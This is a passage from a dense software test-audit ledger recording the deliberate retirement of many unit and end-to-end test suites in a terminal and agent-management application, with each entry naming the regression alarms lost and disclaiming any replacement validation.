replacements. Historical execution retains its original source scope; no new runtime evidence is claimed. Audit3591: Retire the whole one-case background journal-producer attribution suite and the fabricated malformed-details-block case (two authored/two finite cases). Intentionally lose the fixed own-task versus output/foreign-task attribution examples across flat/message row shapes, missing-root classification, and direct unbalanced/detailsish fabricated-block rejection alarms. Retained parser sibling/depth and editor navigation tests do not replace these alarms. No equivalent replacement or fresh runtime, transport, persistence, native focus or rendered UI validation is claimed. Earlier dated text and evidence retain their historical scopes. Audit3592: Retire the whole three-case shared agent smart-key resolver suite, explicitly superseding its Audit3238/3237 keep decisions. Intentionally lose literal permission-versus-question classification, longest-question digit selection, Codex async-question opener/digit/Enter/skip mapping, and unsupported-agent/state/prompt refusal examples. These were real parser/selection and literal-byte alarms; they did not exercise terminal delivery or timing. No equivalent replacement or fresh runtime, native TUI, mobile, remote or performance validation is claimed. Earlier dated text and evidence retain their historical scopes. Audit3587/3588: Retire six authored/fourteen finite cases, including the whole WSL stopped-notice and connecting-status selector suites. Intentionally lose direct WSL retry connection field/target/ready-epoch/null-guard examples, connecting/reconnecting distro and absent-state selector samples, and stopped/connecting notice text/button/data-attribute examples. Retained host-ready retry and content-loader/reload lifecycles do not replace these alarms. No equivalent replacement or fresh runtime, native WSL, remote, rendered UI or performance validation is claimed. Earlier dated text and evidence retain their historical scopes. Audit3580: Retire the whole one-case runtime host environment prototype/subclass suite. Intentionally lose the exact configured lower-case Windows Claude home to account-identity normalization and host-account override precedence alarm previously retained by Audit3129. No equivalent replacement or fresh runtime validation is claimed. Earlier dated keep statements below describe their historical source scope; the current suite is removed. Audit3563 scope: retire the whole Kiro OSC/hook identity suite and the OpenCode2 identity-only case; reduce Codex cached startup child-retirement and missing-session-ID tables to one case each (2 authored/4 finite removals). Intentionally lose Kiro alias/session continuity, OpenCode2 completed OSC identity continuity, cached replacement without relay-generation restart, and missing-previous-ID context-preservation alarms. Remaining provider, remote compatibility, persistence and cross-session pollution cases are not equivalent replacements. Also remove the private Codex roster-size assertion while retaining public child-absence checks. Historical evidence retains its original source scope; no new execution or transferred pass validates these reductions. Audit3492 composes ROOT-approved75(AUTHOR3475/PEER3476 and AUTHOR3485/PEER3481, including five-field clarification and zero-credit selector3483) plus123(AUTHOR3486/PEER3487 reconciled FINAL3491, including peer case10:3 and9:0 wording clarifications). It intentionally removes198 authored registrations/232 finite literal-table potential registrations across70 changed JS/TS test sources, including45 whole suites;87 authored/90 finite potential registrations remain across95 reviewed JS/TS bodies. One mobile native-suspension manual recipe and the now-unreferenced GitLab mock fixture helper are separately removed with zero registration credit. Static literal table potential is not execution. No equivalent replacement, fresh runtime result or merge credit is claimed. Earlier135 complete dated receipts, all raw gaps and full prior98/161/history notes retain their exact scopes and bytes. The additional123 retirement accepts loss of mocked GitLab request/error/identity/classification inventories; basic Linear migration and metadata discovery; simulated OpenCode key failed-save retention/retry/log redaction; analytics identity-flush smoke that did not prove ordering; AppImage static entry guards and empty-staging cleanup; GPU/process/minidump breadcrumb/annotation shapes and weak redaction oracles; namespace/status/foreign-launcher ownership guards and persistence roundtrips; profile transfer field projections; worker hook/screen/incarnation/result admission/classification guards; and source-coupled CLI transaction fixtures. Privileged publication failure injection was a false-positive: its mkdir regex missed -m 700 and outer rejection accepted an inner assertion before any shell ran. The identity-flush case awaited identity after flush and could pass despite early flush. Retained actual negative-token cache recovery, SQL filter-before-LIMIT open approval, unreadable-root FTS preservation/degradation, latest-connect-wins persistence, worker stop-debt settlement, unmodified same-inode foreign-content transaction, explicit incomplete-pagination error, FTS own-message snippet association, filter-before-route result and bounded-search truncation honesty are distinct bounded outcomes, not replacements for retired alarms. Case9:0 checks both roots before chmod but only mounted-session/degraded-root after chmod. Entire extraction-root suite is removed; no retained extraction cleanup is claimed. Removing the manual iOS foreground-stall shell script loses its unique real native-suspension recipe; timer tests do not replace it. First-match PIDs, indefinite waiting, broad success matching and absent trap cleanup made that diagnostic brittle and able to leave a desktop stopped. The current Windows operational driver remains byte-exact, preserving already-merged removal of orcad-convert and orcad-cli-convert selectors and the retained cmd/powershell/managed CLI lanes. The package skill-sharing release selector loses only the exact already-retired skills-suite token; no extra test credit. Included approved75 retirement account follows (historical proposal labels identify provenance; final198 counts above control): Audit3488 composes ROOT-approved source49(AUTHOR3485/PEER3481, including its immutable five-field clarification) and source26(AUTHOR3475/PEER3476): intentionally removes75 authored registrations/87 finite potential registrations across35 changed sources, including25 whole suites;35 authored/36 finite potential registrations remain in the combined reviewed scopes. Literal table potential counts are not executions. This source-only reduction has no equivalent replacement, fresh runtime result or merge credit. Root unit discovery deliberately loses entire message-row filtering/chunk reconstruction, discussion-pagination rejection passthrough, Linear bearer/stack redaction, new-profile telemetry/default/existing-JSON no-op, WSL user-trigger routing, terminal-delivery refusal, native-chat worker-approval UI, followup-paste routing, live-surface tombstone refusal, activity-bar hydration, fabricated approval-caller policy, child-PATH transformation and branch-review URL/identity suites. It also loses cache roundtrip/mode/fingerprint/fallback/no-op samples; GPU field-shape privacy examples; older auth-probe failure retention; orphan SQLite-sidecar/future-schema admission; usage tie/duplicate/composite-key examples; allocation-name sanitizer/unknown-prefix examples; real worker-and-backup preflight wrapper smoke; and JSONL descriptor-loop truncation. The discussion page contained id-only discussions without notes, so its rejection did not prove a nonempty notes-prefix oracle. The preflight did launch actual worker/backup entrypoints with production internal self-validation; removing its revision/version wrapper deliberately retires that real-entry smoke alarm. The skipped-prefix JSONL keeper rewrites/grows after collecting the suffix and before final validation, not concurrently during parsing. Retained queue rejection/recovery and held/drain mechanisms, recorder nonsettling-provider deadline, corrupt authoritative-DB refusal, legacy cache split migration, merge-added-row indexing, external-frame redaction, and pinned JSONL read/verification/mutation checks are bounded concrete oracles, not equivalent replacements for retired alarms. The full cloud relay cohort/ceiling/control suite is separately removed from the relay package runner, outside root unit discovery; no cloud runtime result is claimed. The Python computer-use benchmark remains unchanged tooling with zero authored/removal credit; no native benchmark trial ran. The package skill-sharing release selector drops only the exact already-deleted skills-suite token, with zero additional removal credit. Prior dated receipts, raw gaps, and complete earlier161/98/history notes remain exactly at their original scopes; no changed-source historical receipt becomes fresh reduced-suite evidence. Included approved26 alarm account: Broad root-unit discovery loses entire ref-label string, hostile/malformed CSV-link rendering, Codex filename-discovery, mocked paged-preview postscan mutation, usage path-containment, real symlink-ancestor, Codex skip RPC, local/remote inference routing, width-preference, and synthetic workspace-document input suites. It also loses the hand-assembled sorted CSV edit example, connect-time JPEG seed and invalid AVCC guard samples, and eight-record/64KiB detector boundary cases. The symlink suite exercised actual kernel traversal; its lost ancestor alarm could omit supplemental local editor watches and leave content stale, not bypass authorization. Retained linked stream cancellation, preview-only save fence, failed-flush dirty-draft preservation, clipboard byte/edit preservation, fragmented AVCC parsing and independent quoted-CSV interpretation checks do not replace these deliberately retired alarms. The stream fixture uses an in-memory source and does not establish actual fd cleanup; editor save endpoints are synthetic, browser events are synthetic, and no native focus, actual remote delivery, real disk write, cross-platform execution or interoperability is claimed. Earlier complete dated receipts, raw known gaps and previous notes are historical evidence at their original source/selector scope, not fresh evidence for this reduced suite. Audit3438 composes ROOT-adopted3434/independent3436: intentionally removes60 authored/62 potential expanded cases across16 sources, deleting9 whole suites. Eight authored/eight potential cases remain; delete the102line unused ACP fixture and57line unused teardown helper with zero test credit. No equivalent replacement or fresh execution is claimed. Broad unit discovery loses ACP model-catalog fixtures, resume-record projections, dashboard mock payload/state cases, mobile folder/launch/session examples and dictionary pipeline rows. Selected E2E removals also retire auto-conversion and golden-core journeys and one Windows CLI conversion registration. Retain ACP reply text across a resumed subagent, both VAD checks, focused tab send ownership, async focus ownership in happy-dom, the question-skip journey, the original managed Windows CLI lifecycle journey and dictionary substitution. These checks do not replace the removed alarms. Audit3470 composes ROOT-approved AUTHOR3466/PEER3467 source proposal: intentionally removes38 authored registrations/59 finite potential expansions, including8 whole registering suites, retaining13 authored registrations/18 finite potential expansions. The sole dead shell-recipe caller cleanup has zero additional test credit. No equivalent replacement, fresh runtime or merge credit is claimed. Broad root-unit discovery loses process-import boundary, Korean/Japanese locale policy, worker-reset, mobile agent-history/queued-message and median-summary suites, plus packaged mobile-manifest, worker-pool fixture, HTML preview, mobile shell and terminal samples. The environment-provider contract and its sole shell-recipe caller are deleted. Separate cross-version-wire discovery loses the large byte-budget fresh-snapshot/replay sample while retaining independent live same-revision note publication; the retained terminal stale-refresh and dirty HTML draft persistence checks do not replace removed alarms. The source4 unused start/stop fixture hooks are removed; its retained nested failed-import test remains byte-exact with its own lifecycle. Unchanged SVG preview and Git-resolution registrations stay intact. Root balanced CI excludes the cross-version directory, which has a separate job; unbalanced root discovery can include its parent. No native app/device, actual remote, released-pair interoperability or cross-platform execution result is claimed. Audit3468 accepted source proposal AUTHOR3462/PEER3463, composed privately by audit3469: removes62 authored registrations/95 finite potential expansions, including5 whole suites, retaining25 authored registrations/29 finite potential expansions. ROOT approved source value; no equivalent replacement, fresh runtime or merge credit is claimed. Broad root-unit discovery loses the profile-state worker smoke, worker-agent views and three search discovery suites, plus samples from node-server qualification, skill-bundle generation, CLI hooks/profile/recovery/offline admission, permission-hook holds and search indexing. The separate Cloud relay runner loses one relay blackbox sample; unchanged mobile native-chat and dependent-transcript drivers remain. Retained source callback/table/ancestor/fixture bytes bind to the sealed candidate. No physical-device, mixed-version, remote, cross-platform or app execution result is claimed. Audit3456 composes ROOT-adopted3449/independent3450: intentionally removes62 authored/82 potential expanded cases from16 selected drivers, including7 whole suites, while13 authored/13 potential cases remain. Delete the unused48line legacy workspace-session JSON fixture with zero test credit. These are source-only reductions without equivalent replacement or fresh runtime claims. Broad unit discovery intentionally loses whole trust-dialog observer, background-turn notifications, redirected session refusal, typed-agent identity, chat-tab lifetime-cost, model-manager and mobile diff-review controller suites, plus individual persistence, synthetic composition, pairing, manifest and subprocess samples. Retain deferred snapshot dirty-domain persistence, two direct editor ownership cases, stream counter-domain distinction, two persisted pairing identity cases, parser entrypoint asymmetry, dictation retry and process-group timeout; paired restart and packaged old-binary/corrupt-profile journeys remain in their E2E driver scope. Retained checks do not replace removed alarms. No fresh execution, native IME/microphone, real authentication, mixed-version/platform or performance result is claimed. Audit3451 composes ROOT-adopted3444/independent3445: intentionally removes101 authored registrations across16 reviewed sources, deleting7 whole suites and reducing8; one reviewed source is unchanged. Fresh main has123 authored registrations before and22 after because an upstream direct-child shell regression remains verbatim with zero removal credit. Registered removals are100+7*S and explicit-active removals99+7*S, where S is the unprobed count0..3 of admitted bash/zsh/fish shells. No equivalent replacement or fresh execution is claimed. Broad unit discovery loses extra stream lifecycle/forwarding examples, unreadable-store/cache projections, orchestration presentation/benchmark cases, remote-owned routing matrices, mobile legacy navigation and model-catalog listing/cache examples. Whole suites retire renderer client-event projections, manually assembled structured-session reader ownership, mobile prompt presentation, renderer AI-vault resume commands, mobile Jira URL lookup, composer retention and mobile folder source-repository queries. Retained checks preserve original stream/store/orchestration/routing/navigation/catalog cases and shell behavior, including the upstream direct-child case. No real provider, native desktop or mobile acceptance is established by this reduction. Audit3446 composes ROOT-adopted3441/independent3442: intentionally removes100 authored registrations/119 potential expanded cases (118 conditional-active before platform gates) across16 sources, retaining11 authored/13 expanded cases and deleting6 whole suites. Two parent registrar import/call cleanups and the unused68line CLI recording fixture carry zero test credit. No equivalent replacement or fresh execution is claimed. Broad unit and mobile discovery loses interrupt/wake registrars, task storage/session-close/account snapshot hooks, permission tables, copy/preference/model-discovery/composer examples, launch placement examples, VM projections and extra mobile-history scenarios. Retained checks cover abandoned versus dispatched fork uncertainty; /fast dispatch supersession; discovery lock release after exit; stale-send draft preservation; OSC status lifetime; future-version file preservation; launch cancellation before/during dispatch on both layout owners; mobile resume addressability before hooks; and recipe snapshot cleanup after plugin removal. The paired browser-link Electron source is unchanged. Terminal launch seams, mobile roles-only history and injected provider results do not establish native terminal destruction, transcript text fidelity or real remote provider cleanup. Audit3437 composes ROOT-adopted3431/independent3432: intentionally removes127 authored/174 potential expanded cases across12 sources, deleting7 whole suites and one267line unused helper without test credit. Retain8 authored/13 potential cases. No equivalent replacement or fresh execution is claimed. Broad unit discovery loses reduced or deleted relay, coordinator mail, recovery watchdog, automation observer, launch picker, folder PTY, profile restart, web migration, retirement, pointer delivery, agent-row and run-bound mailbox examples. Retained checks cover relay hello/payload and SIGTERM drain, coordinator pending-check and clear-to-Run continuity, profile persistence, the full six-row web merge table and real run-bound delivery waiter. These do not replace removed alarms. Audit3429 composes root-adopted3426/independent3427: intentionally removes168 authored/205 potential expanded cases across16 semantic sources, deleting11 whole suites and one304line unused assertion helper. Five authored/five potential cases remain; the duplicate500k graph row is dropped while its50k row and callback remain. No equivalent replacement or fresh execution is claimed. Broad unit discovery loses the adopted migration/recovery/federation/rich-draft/paste/automation/mobile/catalog examples. Keep server-edit preservation during migration, native supervised cancellation holding the agent home until physical stop, pagehide lost-text preservation, graph old-result WRAPPER WeakRef collection with50k rows, and mobile React render isolation. The WeakRef does not prove all commit objects are collectible or a memory budget. Audit3425 composes root-adopted3420/independent3421: intentionally removes83 authored/112 potential expanded registrations across13 semantic sources, deleting7 whole conventional suites and1 registering helper;7 authored/10 potential expanded cases remain. No equivalent replacement or fresh execution is claimed. Broad unit discovery loses the adopted mock orchestration, refusal, restart and storage examples. Retain unchanged two-phase real-WSL deployment/survival, the reduced idle-release holder proof without restart/first-output measurement, real worker stop/release cleanup barrier rows, physical Git branch-preservation rows, and SSH disconnected-close proof. Other SSH and CLI variants and WSL telemetry/warmup churn are intentionally removed. Audit3417 composes root-adopted3415v2/independent3416v2: intentionally removes117authored/173potential expanded registrations from12semantic sources, deleting4whole conventional suites and3registration modules and retaining4authored/5expanded cases, without equivalent replacement or fresh execution. Broad root-unit discovery loses naming/title/queued-host fixtures, main-window focus-shortcut and attach-services mock orchestration, Git Bash console-capacity fake process inventories, most real-Git preparation/locking variants and Claude/Codex catch-up examples. Keep lifetime rejected-writer followed by late termination proof and autonomous real-checkout cleanup; two-row real-Git rollback after a real move preserving a replacement/admin marker or revoked permission; a live translator write during a held transcript read fencing stale Claude history append; and Codex expected-item revision rejection before a historical writer shim. Codex driver registers retained bounds exactly once with original inputs; bounds does not prove modern writer persistence. Accepted changed-lock preflight sentinel and omitted-parent routing losses are not replaced. Audit3413 composes root-adopted3405/independent3406 and3409/independent3410: intentionally removes337 authored registrations/363potential expanded cases from13sources, retaining31authored/32potential cases and deleting one whole clipboard suite, without equivalent replacement or fresh execution. Broad root-unit discovery loses35WSL examples,22STT examples,22shared-server-banner examples,18clipboard-handler examples (whole suite deleted),14VM lifecycle examples and16commit-message cancellation examples. Retain4WSL and7STT mocked connector/worker cases,1rendered stale-banner refusal,2VM guard/failed-compensation cases and1late-stream ownership cancellation case; real WSL/microphone/remote-provider proof is not established. Separately discovered e2e-unit drivers lose13cross-version-wire local cases and15mobile active-publication cases, keeping same-process disk-reopen/new-host cursor content/epoch/sequence outcomes and a host/renderer-snapshot selection and inventory revision race respectively. Imported released stop-note scenarios remain unchanged and receive no duplicate credit. Cloud suites are outside root UNIT_INCLUDE. Audit3403 composes root-adopted3393/3394,3400/3401 and3398/3399: intentionally retires167 authored registrations/196 potential expanded cases across93 whole suites without equivalent replacement or fresh execution. Retained65 registrations/79 potential cases include one conditional missing-input failure sentinel; potential counts are not executions. Historical notes and complete dated receipts retain their exact original scopes. The broad root-unit command loses the UNIT_INCLUDE src/ subset of retired examples; mobile is outside UNIT_INCLUDE. Other lost alarms are recorded by the adopted per-case source reviews. Audit3390 composes root-adopted3382/independent3383 and3386/independent3387 and3388/independent3389: intentionally retires216 authored registrations/230 expanded cases in42 whole authored suites plus5 zero-case registration drivers, without equivalent replacement. Lost local alarms include fake PTY identity/routing/startup/replay/mode/title/mouse/IME/scroll matrices, broad startup identity and file-open wiring, mock mailbox title recovery, mobile row parity and whole-v-selective save parity. Retained24 registrations/26 expanded cases in22 suites preserve actual xterm Windows buffer/wrap/scroll, typed TOML scalar, real Promise cancellation/settlement, HTTP Codex scanner/projector semantics, durable recovery admission/newer-schema bytes, federation completion/ACK/SQLite atomicity and failed stale-run-write versus imported durable history. Additional retained clock-domain scheduling, durable freeze/ACK/checkpoint ordering, ABA dirty intent, SQL atomicity, folder-domain retier/last-note deletion, scrollback durable no-sync staging, PanelBridge subscriber lifetime and reserved-send publication preserve narrower concrete behaviors. Current finite owner drift assessed in bounded defining bodies; retained callback bytes unchanged. Historical notes and complete dated receipts keep their original exact scopes. No new execution, equivalent replacement, native focus/device/pixel, live remote or global mixed-version guarantee is claimed. Audit3381 composes root-adopted3376/independent3377 and3379/independent3380: intentionally retires436 authored registrations/670 expanded cases, including79 whole suites and12877 test lines, without equivalent replacement. Lost alarms include scheduling, account/host/status/filter/format inventories, microphone/image cleanup, title/bell/capability lifecycle routing, access/impersonation/outcome matrices, paste/input resend/ledger/retention, stale completions/reload containment, trust-read failure and popup OAuth/security/geometry vectors. Retained30 registrations/34expanded cases in22 suites preserve narrower SQLite TEMP/TZ/WAL, HTTP transcript root resume, mobile original-index Choose/Submit, child environment/Git lock expiry, stale ACK/PTY lifetime/peer fairness/durable replay/output ordering, actual DOM paste/editor focus, DEC2026 conservation, filesystem rollback, owned buffer lifetime, actual OSC parser/tracker handback, POSIX Python UTF8/fallback, durable trust concurrency/version, OpenSSH verdicts and hidden Chromium POST/route lifecycle. Mocked boundaries limit claims. Current bounded defining-owner reads preserve the retained oracles; captured identities are not full transitive semantic review. Both component blind pins authenticated before exchange; final reconciliation and explicit postpin3380reason correction supplement control, without retroactive blind claims. Root unit command excludes mobile and separately admitted Electron probes; use existing respective runners. No fresh execution, native focus/device/pixel UI, live SSH/remote, equivalent replacement or broad mixed-version/cross-platform validation is claimed. Prior dated receipts retain exact original scopes. Audit3375 composes root-adopted3370/independent3371 and3373/independent3374: intentionally retires79 authored registrations/84 expanded cases, including39 whole suites, without equivalent replacement. Lost alarms include federation field/parser inventories; Claude rejected-key precedence, credential clone redaction, managed-versus-user hook preservation and CLI defaults; setting/status/activity projections, mocked SSH/notification/reveal/Linear refusal, fake-clock reconnect and noise; image-fold artifact visibility, paste eligibility, setup trust, scripted ACP error-to-journal publication and ligature cache tuple aliasing; plus supplied folder-runner uniqueness, mobile host-overlay/credential/update/preference races, status/markup/title/keyed-row projections, subscriber cleanup, cancellation/close/refusal/link-issue and mirror suppression alarms. Retained3373 merger contiguity, dual-clock overdue-resume exactly-once, rejected-paste IPC sink and annotation schema roundtrip remain bounded. Retained actual HTTP/OSC status composition, destructive sibling-filesystem isolation, external contrast invariant and fixture CSS pixel intervention remain narrower. Original reviewed87authored/92expanded become9/9; current OpenCode suite adds two preserved upstream cases and the synthetic-title suite gained one Cursor policy mock-call case, independently reviewed for removal in root3378; current90/95 become11/11. That Cursor suppression/ready-frame regression alarm is intentionally lost; it does not observe native title ownership or tab flicker. For3370 only the peer was independently blind, with author exposure explicit;3373/3374 both blind pins were verified. This broad root unit command selects the reduced root unit suite; UNIT_INCLUDE excludes mobile tests, which require the existing mobile runner; retained Playwright component-pixel spec uses its separate existing headless fixture runner and is not validated by the broad unit command. No fresh execution, actual agent/shell/provider, OS material/focus, historical import equivalence, mobile, mixed-version or cross-platform evidence is claimed. All dated receipts retain their original scope. Audit3368 composes root-adopted3363/3364 and3367/3369: intentionally retires181 authored registrations/196 expanded cases, including28 whole suites, without equivalent replacement. Lost alarms include hibernation attention/liveness/backoff/sequential teardown and inventory, host launch compatibility/legacy/Kimi/resource cleanup, terminal recovery parser/pause/quarantine/remount, window-visibility omission-fence lifetime, launch-option rendered Start, sleeping-resume saved recipe/WSL quoting/cancellation, plus removed project/window/input variants. Additional tiny-suite losses include sentence/label/field/default inventories, credential omission, Windows argument/environment mapping, URI decoding, diagnostics, provider classification and fake-clock callback/parser examples. Retained ten registrations/twelve expanded cases include two literal Unicode Mn/Cf zero-width range guards in the actual character-range algorithm and protect narrower delayed editor bytes/destructive ownership, mounted hidden collision repair, ten transport epochs, duplicate-command refusal, caller timeout typing, executor unknown-opener refusal and failed-chunk user bytes. This broad unit command selects the reduced suite; no fresh runtime, real provider/network/PTY, filesystem restart, native UI, historical import equivalence, mobile, mixed-version or cross-platform validation is claimed. Unrelated dated receipts retain their original scope. Audit3362 composes root-adopted3358/independent3360: intentionally retires129 authored registrations/140 expanded cases, including four whole suites, without equivalent replacement. Lost alarms include supplied orphan-adoption retry/malformed inventory/cancellation; fake-terminal replay parser/wedge/disposal callbacks; all-host catalog metadata and Windows preferences; host keepalive/protocol/stale/settings failures; and removed exact-stop/suppression, source save lifetime, diff-note queue, rename/editor close, input flood/chunk refusal/limits, purge and creation examples. Retained18 registrations/21 expanded cases protect narrower ownership, generation, dirty-state, queue convergence, encoding and attachment-lease outcomes. No replacement or keeper quota claim. This broad unit command selects the reduced suite; no fresh execution, historical import equivalence, real provider/network/SSH/PTY/xterm parser, disk restart, native UI, mobile, mixed-version or cross-platform validation is claimed. Unrelated dated receipts retain their original scope. Audit3359 composes root-adopted source3355/independent3356: intentionally retires130 authored registrations/139 expanded cases, including eight whole suites, without equivalent replacement. Lost alarms include strict create naming/capability/legacy payloads; supplied transport host replacement, deadline reattach, create-handoff and split activation; agent-session fork/clipboard/platform flags; shutdown cleared-scrollback/unmounted bindings; simulator host-collision/selection/shutdown; and removed editor, catalog, mutation, launch and status examples. Retained12 adverse-ordering/state-consequence cases are narrower and do not replace all removed alarms. Two queue absences receive zero removal credit. This broad unit command selects the reduced suite; no fresh execution, historical import equivalence, real provider/network/SSH/PTY, filesystem restart, native UI, mobile, mixed-version or cross-platform validation is claimed. Unrelated dated receipts retain their original scope. Audit3349 composes adopted batches3343,3345 and refreshed3354: intentionally retires234 authored registrations/294 expanded cases, including13 whole suites, without equivalent replacement. Lost alarms include supplied terminal reconnect/replacement/typeahead/mirror/result and snapshot examples; synthetic render-desync persistence/recovery; worktree listing/owner/catalog/lineage/removal and activation/creation examples; host-scoped PR and task-record projections; editor diff/status/comment and UI send-target examples; automation observation/wake, supplied sleep/deadline clock and native-chat completion/notification/relaunch samples; held-tab layout and cleanup/progress guard examples. Retained adverse-ordering and wire-boundary cases are narrower and do not replace all removed alarms. The already-upstream visibility-resume deletion receives zero new removal credit. This broad unit command selects the reduced suite; no fresh execution, historical import equivalence, real provider/network/SSH, native process/power/GPU, rendered UI, mobile, mixed-version or cross-platform validation is claimed. Unrelated dated receipts retain their original scope. Audit3342 composes adopted source batches3333/3334,3336/3337 and3340/3341: intentionally retires180 authored registrations/263 expanded cases, including seven whole suites, without equivalent replacement. Lost alarms include corrupt editor hydration; mobile editor/diff publication and privacy projections; stale-resubscribe routing; model-picker projection/refetch/retry/fallback; editor check-details and frame property inventories; latched-pane cleanup/quiescence; client create replay identity/options/compatibility; and removed owner, async routing, terminal and layout examples. Retained definitions do not replace these alarms. This broad root unit command selects the reduced suite; no fresh execution, historical source/import equivalence, real provider/network/SSH, rendered UI, durability restart, mobile, mixed-version or cross-platform validation is claimed. Unrelated dated receipts keep their original scope. Audit3335 composes adopted source unions3327/3328 and3330/3332: intentionally retires100 authored registrations/123 expanded cases, including ten whole suites, without equivalent replacement. Lost alarms include seeded host persistence/contention and stale-host cleanup; browser snapshot assembly; mocked wake/DPR callbacks and frame budgets; preflight projections; palette authority/cache suppression, URL intent and saved-title cross-repo collisions; metadata coverage/set patch and dropdown assembly; and removed terminal, worktree, review-refresh and owner-routing examples. Retained definitions do not replace these alarms. This broad root unit command selects the reduced suite; no fresh execution, historical source/import equivalence, real provider/network/SSH, rendered UI/GPU/focus, durability restart, mobile, mixed-version or cross-platform validation is claimed. Unrelated dated receipts retain only their original scope. Audit 3318 composes adopted sources 3310, 3313 and 3317: intentionally retires 71 authored declarations and 102 expanded cases, including whole terminal-detach agent-retention, seeded batch/single open-files equivalence, shallow context-menu shortcut-badge, mocked active-workspace delete-dispatch, workspace session hydration, SSH target cleanup, editor session hydration and worktree terminal purge suites. Lost alarms include chained transfer alias and immediate close/exit retention; batch/single divergence, survivor/selection/map preservation and input nonmutation across 400 imperative seeds (one registered case); disconnected pending-handle retry, authoritative absences/close-record shortcut/older-host absence and published-presence/unpublished-frame examples; published empty host-graph omission to pane exit; legacy search ranking/exclusion fallback; provider request upgrade/dedupe/finalizer ownership; asynchronous PR suppression/primary-change and same-number different-repository URL rejection. Deletion routing loses host/instance qualification, paired and legacy mapping, folder ownership, active-versus-hover/menu-row selection, ambiguity, modal/editable/creation/view/main/deleting/missing guards and shortcut advertisement. Unchanged real keyboard/hover/confirmation/catalog E2E remains narrower, not an equivalent replacement. Additional losses include scripted old-host disk/UTF-8/noop/baseline and landed/unlanded lost-reply/replacement-retry outcomes; ordinary/repeated healthy-link reattach; cross-owner terminal/chat binding; oversized replay permanent-unavailable classification; floating reveal keyboard ownership/close/disable/listener disposal; naming/retained-turn/Sleep/error/close/reject status tables; SSH membership prune/new-target-only reads and environment/local bucket isolation; same-frame receipt capacity and positive bare/headless publisher readmission. These actual regression alarms are deliberately lost; no fresh gate, provider, rendered, mobile, mixed-version, cross-platform, soak or measured-budget validation is claimed. Audit 3312 composes adopted sources 3302 and 3308: deliberately retires 33 authored declarations and 36 expanded cases, including the whole backend startup-focus, active-browser IPC-close-routing, remote-browser-creation and agent-terminal-presence suites. Intentionally lost alarms cover distinct six-pane reconnect handles; SSH host label/Connect callback, unhydrated visit cleanup, repo cache aliases and hidden worktree/tab/PTY cleanup; adopted-agent startup focus and viewer navigation/reuse; staged, pageless, source, stale and orphan browser-close routing; web local-materialization refusal, desktop incapable-host fallback, failed/thrown remote creation and paired-web sign-in refusal; BOM/NUL and remote/local custom-editor byte-read examples; immediate folder activation and unread clearing; and batching idle/coalescing, accumulated byte ceiling, leading-edge-disabled, standalone synchronous oversize rejection, validation yield, deferred pending-tail order and both viewport-clear examples. The newly reintroduced agent-terminal-presence suite also loses actual terminal-status membership positive and nonterminal-status callback suppression alarms, including the recent 40916 guard regression; the older different 2133 presence-suite history remains historical and receives zero duplicate removal credit. These real regression alarms are intentionally lost. The unchanged survivors provide narrower coverage, with no equivalent replacement or fresh gate, provider, rendered, remote/mobile, mixed-version, cross-platform, soak or measured-budget validation claimed. Audit 3301 combines adopted source batches 3296 and 3299: retire 27 authored declarations and 36 expanded scenarios, including six whole suites. Intentionally lost alarms cover failed-verification/recovery/restart counters and mocked hosting/toast; early overlapping pane-read scheduling/count; unreadable removal listing draft guard; bulk-purge remote-qualified and raw-local guard maps; initial-snapshot blank/mode/oversize/printable/fresh-spawn callback and replay examples; fallback mobile file close and ordinary MRU; default queue overload/drain; seeded browser-page reuse and supplied missing-page URL recreation; ambiguous sleep/hibernation owner refusal and untouched bindings/origins; ordinary selection/activity/fallback priority; skip-remote success and retained hints; supplied structured-chat unsent retention and scoped removal draft eviction; caller-chat focus precedence; open/draft PR cache eviction and merged-head fallback result inventories. Retained adverse-ordering and ownership cases are narrower and do not establish equivalent replacements. No fresh runtime, native, physical provider, cross-platform, mobile or mixed-version evidence is claimed. Audit 3292 combines adopted 3285/3287/3289/3293 removals: 40 authored declarations and 47 expanded scenarios, including whole frame-editor-view, ambiguous remote-delete-refusal, unverifiable-host subscription and editor-close cleanup suites. The previously reviewed dock-badge suite was already removed upstream in PR 40895 and receives zero new removal credit. Intentionally retired alarms include background browser selection and last-tab landing; main startup fallback, SSH project cleanup/survivor routing, exact-PR contradiction/saved-push positives, replay/sidecar rollback and wrapped remote error normalization; records/snapshot missing-diff hydration, ambiguous folder-owner delete refusal, focus no-op notifications, nested editor context-only cache check, pending broadcast-first status and ordinary four-confirmation aggregation; preview-source frontmatter pruning, approved local/runtime agent dispatch, non-GitHub legacy PR cache invalidation, stale merged-head transient-error fallback, empty-queue immediate query reply and unverified-to-concrete preflight risk. Additional intentionally retired alarms are injected host subscription/unsubscribe counts, synthetic editor reveal/draft/fallback/scoped close, ambiguous unread refusals and hidden mark/read roundtrip, immediate connect backoff/noError, positive mirrored evidence-clock renewal, supplied VM failure/success projections and git-local/folder-SSH wake permutations. Remaining temporal/ownership cases are narrower; no equivalent replacement or fresh execution is claimed. Audit 3283 removes 20 authored declarations and 31 expanded scenarios, including two whole suites. Retired alarms cover PR refresh-state pruning, shared runtime subscription cleanup and store isolation, language content-change routing and older completion ownership, ordinary panel retry-timer cleanup and pending loading, four hosted-review lifetime permutations, mocked terminal creation error/order wiring, five sleep-inventory variants with pending-frame-only assertions, palette fallback/composite highlights, Windows/UNC encoded-editor input rows, mixed-repository partial failure counts, title setters and generated-title bypass/replacement, five window-close coordinator delegation/guard/finally branches, and ambiguous-old-record frame reveal. These regression checks are intentionally lost under the test-value audit; retained cases are not equivalent replacements. Prior coverage notes and receipts remain historical. Audit 3273 removes 14 authored declarations and 19 expanded scenarios across four whole suites and eight partial suites. Retired alarms cover saved-local cancellation/layout ownership, ambiguous-owner warning reset, folder attachment routing, VM false-capability bypass, abandoned reveal warmup cleanup and viewport claim deduplication/rearming, quiet unrelated remote-removal refusal, startup-command one-shot consumption, repository/floating recovery-ledger rows, fake-React pinned-scroll intent, split-ratio state identity/subscriber suppression and fractional change, cross-host project-group join refusal, three PR request-lifetime permutations, upstream-status preservation on error, and unresolved Git-owner refusal. These regression checks are intentionally lost under the test-value audit; retained scenarios are not equivalent replacements. Historical coverage receipts remain historical, including gate35 subscriber claims. Audit 3256 removes these specific alarms from the broad root unit commands: skill dialog active-share selection, close and pending-share handoff; simple keyed-record deletion; marker live-region insertion, simple landing and nine baseline policy examples; General search/control navigation inventory; orphan-count cache bootstrap; seven Codex code classifications and HTTP 429 warning mapping; two skill unread-root verdict examples; peer-mail payload and conversation-ID rejection; and the GitHub organization TABLE text-field optimistic rollback/failed-envelope example. These include real behaviors; retained tests do not provide equivalent coverage for every removed scenario. Mobile losses are recorded separately and are not 